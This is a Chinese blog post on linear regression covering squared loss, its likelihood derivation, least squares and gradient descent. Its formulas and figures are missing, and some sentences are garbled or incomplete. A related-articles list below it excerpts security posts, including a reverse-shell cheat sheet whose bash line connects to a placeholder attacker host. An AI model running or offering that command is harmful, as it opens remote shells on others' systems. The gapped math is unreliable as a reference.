机器学习系列(2):线性回归

2023-05-16

机器学习系列(2):线性回归

  • 一、线性回归模型
  • 二、目标函数
    • 2.1 目标函数
    • 2.2 目标函数的概率解释
      • 2.2.1 中心极限定理
      • 2.2.2 高斯分布
      • 2.2.3 极大似然估计与损失函数极小化等价
  • 三、参数估计
    • 3.1 最小二乘法
      • 3.1.1 目标函数的矩阵形式
      • 3.1.2 最小二乘法求解
    • 3.2 梯度下降法
      • 3.2.1 批量梯度下降法(BGD)
      • 3.2.2 随机梯度下降算法(SGD)

一、线性回归模型

线性回归假设特征和结果满足线性关系。其实线性关系的表达能力非常强大,每个特征对结果的影响强弱可以由前面的参数体现,而且每个特征变量可以首先映射到一个函数,然后再参与线性计算。这样就可以表达特征与结果之间的非线性关系。
我们可以有这样的模型表达:
在这里插入图片描述
其中,x1,x2,…,xn 表示自变量量(特征分量), y表示因变量,θi 表示对应自变量(特征)的权重,θ0是偏倚项(又称为截距)。
对于参数θ ,在物理上可以解释为:在自变量(特征)之间相互独立的前提下,θi 反映自变量xi对因变量yi 的影响程度, θi 越大,说明对结果的影响越大。因此,我们可以通过每个自变量(特征)前面的参数,可以很直观的看出哪些特征分量对结果的影响比较大。
如果令x0=1,y=hθ(x)可以将上述模型写成向量形式,即:
在这里插入图片描述
其中θ=(θ01,…,θn) ,x=(1,x1,x2,…,xn) 均为向量, θT为θ的转置。
在上述公式中,假设特征空间与输入空间相同。准确地讲,模型表达式要建立的是特征空间与结果之间的关系。在一些应用场合中,需要将输入空间映射到特征空间中,然后建模,定义映射函数为 ,因此我们可以把公式写成更通用的表达公式:
在这里插入图片描述
特征映射相关技术,包括特征哈希、特征学习、 Kernel等。

二、目标函数

2.1 目标函数

上面的公式的参数向量θn+1维的,每个参数的取值是实数集合,也就是说参数向量在n+1维实数空间中取值结果有无穷种可能。
那么,如何利用一个规则或机制帮助我们评估求得的参数θ ,并且使得线性模型效果最佳呢?直观地认为,如果求得参数线性求和后,得到的结果 hθ(x) 与真实值y之差越小越好。
这时我们需要映入一个函数来衡量 hθ(x) 表示真实值y好坏的程度,该函数称为损失函数(loss function,也称为错误函数)。数学表示如下:
在这里插入图片描述
这个损失函数用的是 x(i) 的预测值 hθ(x(i)) 与真实值 y(i) 之差的平方和。如果不考虑诸如过拟合等其他问题,这就是我们需要优化的目标函数。

2.2 目标函数的概率解释

一般地,机器学习中不同的模型会有相应的目标函数。而回归模型(尤其是线性回归类)的目标函数通常用平方损失函数来作为优化的目标函数(即真实值与预测值之差的平方和)。为什么要选用误差平方和作为目标函数呢?答案可以从概率论中的中心极限定理、高斯分布等知识中找到。

2.2.1 中心极限定理

目标函数的概率解释需要用到中心极限定理。中心极限定理本身就是研究独立随机变量和的极限分布为正态分布的问题。
中心极限定理的公式表示为:
n个随机变量X1,X2,…,Xn相互独立,均具有相同的数学期望与方差,即E(Xi)=μ; D(Xi)=σ2 令Yn为随机变量之和,有
在这里插入图片描述
称随机变量Zn 为n个随机变量X1,X2,…,Xn的规范和。
它的定义为:
设从均值为μ、方差为 σ2(有限)的任意一个总体中抽取样本量为n的样本,当n充分大时,样本均值的抽样分布Yn/n近似服从于均值为μ、方差为 σ2的正态分布。

2.2.2 高斯分布

假设给定一个输入样例 x(i) 根据公式得到预测值θTx(i) 与真实值y(i) 之间存在误差,即为 ε(i)。那么,它们之间的关系表示如下:
在这里插入图片描述而这里假设误差ε(i) 服从标准高斯分布是合理的。
解释如下:
回归模型的最终目标是通过函数表达式建⽴立自变量x与结果y之间的关系,希望通过x能较为准确地表示结果y 。而在实际的应用场合中,很难甚至不可能把导致y的所有变量(特征)都找出来,并放到回归模型中。那么模型中存在的x通常认为是影响结果y最主要的变量集合(又称为因子,在ML中称为特征集)。根据中心极限定理,把那些对结果影响比较小的变量(假设独立同分布)之和认为服从正态分布是合理的。
可以用一个示例来说明误差服从高斯分布是合理的:
AndrewNg的课程中第一节线性回归的例子中,根据训练数据建立房屋的面积x与房屋的售价y之间的函数表达。它的数据集把房屋面积作为最为主要的变量。除此之外我们还知道房屋所在的地段(地铁、学区、城区、郊区),周边交通状况,当地房价、楼层、采光、绿化面积等等诸多因素会影响房价。
实际上,因数据收集问题可能拿不到所有影响房屋售价的变量,可以假设多个因素变量相互独立,根据中心极限定理,认为变量之和服从高斯分布。即:
在这里插入图片描述
那么x和y的条件概率可表示为:
在这里插入图片描述

2.2.3 极大似然估计与损失函数极小化等价

根据上述公式估计得到一条样本的结果概率,模型的最终目标是希望在全部样本上预测最准,也就是概率积最大,这个概率积就是似然函数。优化的目标函数即为似然函数,表示如下:
在这里插入图片描述
L(x) 取对数,可得对数似然函数:
在这里插入图片描述
由于n,σ都为常数,因此上式等价于
在这里插入图片描述
我们可以发现,经过最大似然估计推导出来的待优化的目标函数与平方损失函数是等价的。因此可以得出结论:
线性回归误差平方损失极小化与极大似然估计等价。其实在概率模型中,目标函数的原函数(或对偶函数)极小化(或极大化)与极大似然估计等价,这是一个带有普遍性的结论。比如在最大熵模型中,有对偶函数极大化与极大似然估计等价的结论。
那上面为什么是条件概率p(y|x;θ) 呢?因为我们希望预测值与真实值更接近,这就意味着希望求出来的参数θ,在给定输入x的情况下,得到的预测值等于真实值得可能性越大越好。而θ,x 均为前提条件,因此用条件概率p(y|x;θ) 表示。即p(y|x;θ) 越大,越能说明估计的越准确。当然也不能一味地只有该条件函数,还要考虑拟合过度以及模型的泛化能力问题。

三、参数估计

如何调整参数θ 使得J(θ) 取得最小值?方法有很多,这里里介绍几种比较经典的方法,即最小⼆二乘法、梯度下降法以及牛顿法。

3.1 最小二乘法

3.1.1 目标函数的矩阵形式

将m个n维样本组成矩阵X:
在这里插入图片描述
则目标函数的矩阵形式为
在这里插入图片描述

3.1.2 最小二乘法求解

对θ求导,梯度(矩阵求导):
在这里插入图片描述
令其为零,求得驻点:
在这里插入图片描述

3.2 梯度下降法

梯度下降法是按下面的流程进行的:

  • 1)首先对θ赋值,这个值可以是随机的,也可是让θ是一个全零的向量;
  • 2)改变θ的值,使得J(θ)按梯度下降的方向进行减少。
    为了更清楚,给出下面的图:
    在这里插入图片描述
    这是一个表示参数θ与目标函数J(θ)的关系图,红色的部分是表示J(θ)有比较高的取值,我们需要的是,能够让J(θ)的值尽量的低。也就是深蓝色的部分。θ0和θ1表示 向量的两个维度。
    在上面提到梯度下降法的第一步是给θ一个初值,假设随机给的初值是在图上的十字点。然后我们将θ按照梯度下降的方向进行调整,就会使得J(θ)往更低的方向进行变化,如图所示,算法的结束将是在J(θ)下降到无法继续下降为止。
    当然,可能梯度下降的最终点并非是全局最小点,可能是一个局部最小点,比如下面这张图中描述的就是一个局部最小点,这是我们重新选择了了一个初始点得到的,看来我们这个算法会在很大程度上被初始点的选择影响而陷入局部最小点。
    在这里插入图片描述
    下面对于目标函数J(θ)求偏导数:
    在这里插入图片描述
    下面是更新的过程,也就是θ会向着梯度最小的方向进行减少。θ表示更新之前的值,a表示步长,也就是每次按照梯度减少的⽅方向变化多少,由于求得是极小值,因此梯度方向是偏导数的反方向,结果为在这里插入图片描述
    一个很重要的地方值得注意的是,梯度是有方向的,对于一个向量θ,每一维分量θi都可以求出一个梯度的方向,我们就可以找到一个整体的方向,在变化的时候,我们就朝着下降最多的方向进行变化就可以达到一个最小点,不管他是全局的还是局部的。
    将梯度下降法应用到线性回归有三种方式:批处理梯度下降法、随机梯度下降法。

3.2.1 批量梯度下降法(BGD)

在这里插入图片描述
可以看出,参数θ的值每更新一次都要遍历样本集中的所有的样本,得到新的θj,看是否满足阈值要求,若满足,则迭代结束,根据此值就可以得到;否则继续迭代。注意到,虽然梯度下降法易受到极小值的影响,但是一般的线性规划问题只有一个极小值,所以梯度下降法一般可以收敛到全局的最小值。例如,J 是二次凸函数,则梯度下降法的示意图为:
在这里插入图片描述
图中,一圈上表示目标函数的函数值类似于地理上的等高线,从外圈开始逐渐迭代,最终收敛全局最小值。

3.2.2 随机梯度下降算法(SGD)

在这里插入图片描述
在这个算法中,我们每次更新只用到一个训练样本,若根据当前严格不能进行迭代得到一个,此时会得到一个,有新样本进来之后,在此基础上继续迭代,又得到一组新的和,以此类推。
批量梯度下降法,每更新一次,需要用到样本集中的所有样本;随机梯度下降法,每更新⼀一次,只用到训练集中的一个训练样本,所以一般来说,随机梯度下降法能更快地使目标函数达到最小值(新样本的加入,随机梯度下降法有可能会使目标函数突然变大,迭代过程中在变小。所以是在全局最小值附近徘徊,但对于实际应用来说,误差完全能满足要求)。另外,对于批量梯度下降法,如果样本集增加了一些训练样本,就要重新开始迭代。由于以上原因,当训练样本集较大时,一般使用随机梯度下降法。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

机器学习系列(2):线性回归 的相关文章

  • str_replace函数详解

    原文地址为 xff1a str replace函数详解 在开发过程中 xff0c 字符串的操作是很频繁的 xff0c 这几天有看PHP手册中讲解str replace函数的讲解 xff0c 不是很明白 xff0c 特作如下笔记 xff0c
  • Apache开启 目录浏览 功能

    Apache配置支持目录浏览 主配置文件 httpd conf 中修改 xff1a 在配置文件那里添加如下内容 1 2 3 4 5 6 7 8 9 10 Directory 34 文件绝对路径 34 gt 开启目录列表索引模式 Option
  • 文件上传漏洞原理及绕过

    文章目录 文件上传的原理 文件上传的危害 绕过方式 1 JS前端绕过原理 1 1 攻击流程 1 2 绕过 1 2 1使用BurpSuite 1 2 2 禁用或删除JavaScript代码 2 白名单绕过原理 2 1 攻击流程 2 1 1 0
  • 内网渗透之域环境搭建详细教程

    文章目录 1 设置IP 2 部署域控 2 1 安装活动目录和DNS服务 2 2 提升服务器为域控 2 3 部署配置 2 4 域控制器选项 2 5 先决条件检查 3 将其他两台服务器加入域 4 创建AD域用户 1 设置IP 设置 gt NAT
  • 域内用户枚举与密码喷洒

    文章目录 1 用户名枚举 1 1 原理 1 2 工具 1 3 用法 2 密码喷洒 2 1 原理 2 2 工具 2 3 用法 1 用户名枚举 1 1 原理 域内用户可以在没有域内有效凭据下 枚举出域内所存在的用户名 从而可以进行密码喷洒 在K
  • 本地文件包含原理常见的函数及利用

    文章目录 1 原理 2 PHP文件包含函数 3 攻击流程 4 代码 5 防范 1 原理 本地文件包含漏洞 Local File Inclusion LFI 是一种常见的 Web 应用程序漏洞 仅能够对服务器本地的文件进行包含 由于服务器上的
  • 黄金票据原理制作与利用

    文章目录 原理 攻击场景 利用前提 生成流程 获取域名 获取SID 获取域的krbtgt ntml hash 伪造票据 传递票据注入内存 总结 原理 黄金票据 golden ticket 攻击是一种滥用 Kerberos 身份认证协议的攻击
  • 白银票据原理制作与利用

    文章目录 原理 利用条件 利用前提 生成流程 获取服务账号HASH 获取域SID 获取域名 获取名称 制造票据 票据注入内存前后对比 总结 原理 白银票据是伪造的Silver Ticket ST 它可以让你访问服务器上的指定服务 但是不能访
  • Nestjs框架快速入门:安装与启动

    Nestjs框架快速入门 安装与启动 Nest 是构建高效可扩展的 Node js Web 应用程序的框架 Nest 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node versio
  • mimikatz常见命令

    文章目录 1 mimikatz简介2 命令2 1 常用命令2 2 privilege debug2 3 sekurlsa logonpasswords 1 mimikatz简介 Mimikatz 是一款用于提取 Windows 系统中用户凭
  • 内网中快速定位域管理员

    文章目录 1 攻击手法 1 1 日志分析 1 2 会话分析 2 工具 2 1 psloggedon exe 2 1 1 简介 2 1 2 下载地址 2 1 3 用法 2 2 netview exe 2 2 1 简介 2 2 2 下载地址 2
  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys

随机推荐

  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x
  • GitLab的安装部署

    微信公众号 xff1a 运维开发故事 xff0c 作者 xff1a double冬 本文主要讲述了GitLab安装部署的两种方式 xff0c 以及遇到的一些问题 一 GitLab Server的搭建 参考 xff1a https about
  • Linux常用的软件包管理命令

    RPM xff08 红帽软件包管理器 xff09 常用的 RPM 软件包命令 命令作用安装软件的命令格式rpm ivh filename rpm升级软件的命令格式rpm Uvh filename rpm卸载软件的命令格式rpm e file
  • 解决linux系统挂载NTFS格式磁盘的问题

    一般情况下 xff0c Linux是识别不了NTFS格式移动硬盘的 xff08 需要重编译Linux核心才能 xff0c 加挂NTFS分区 xff09 xff0c 这时候为了能让Linux服务器能够识别NTFS的移动硬盘 xff0c 就必须
  • Win10提示“某些设置由你的组织来管理”的解决办法

    Win10提示 某些设置由你的组织来管理 的解决办法 2015 12 23 来源 xff1a Windows 10 人气 xff1a 443 有IT圈网友询问 xff0c 在Win10设置中出现了 某些设置由你的组织来管理 的提示 xff0
  • Stoker的数据库学习之基本语句(二)

    数据库学习之基本语句 xff08 二 xff09 DQL语句 对数据库中的数据进行查询 xff08 简单查询 xff09 我们用下图的emp表来进行操作 xff1a 1 去除重复数据 DISTINCT 注意 xff1a 需要查询的所有数据完
  • sourcetree(mac)设置代理链接GitHub

    背景 xff1a 使用mac版的sourcetree上get代码 xff0c 由于不能使用https只能用ssh xff0c 可是常规使用win版本的操作在mac上不好使了 xff0c 总是提示上传失败 xff0c 请手动添加ssh 解决方
  • 机器学习系列(2):线性回归

    机器学习系列 xff08 2 xff09 xff1a 线性回归 一 线性回归模型二 目标函数2 1 目标函数2 2 目标函数的概率解释2 2 1 中心极限定理2 2 2 高斯分布2 2 3 极大似然估计与损失函数极小化等价 三 参数估计3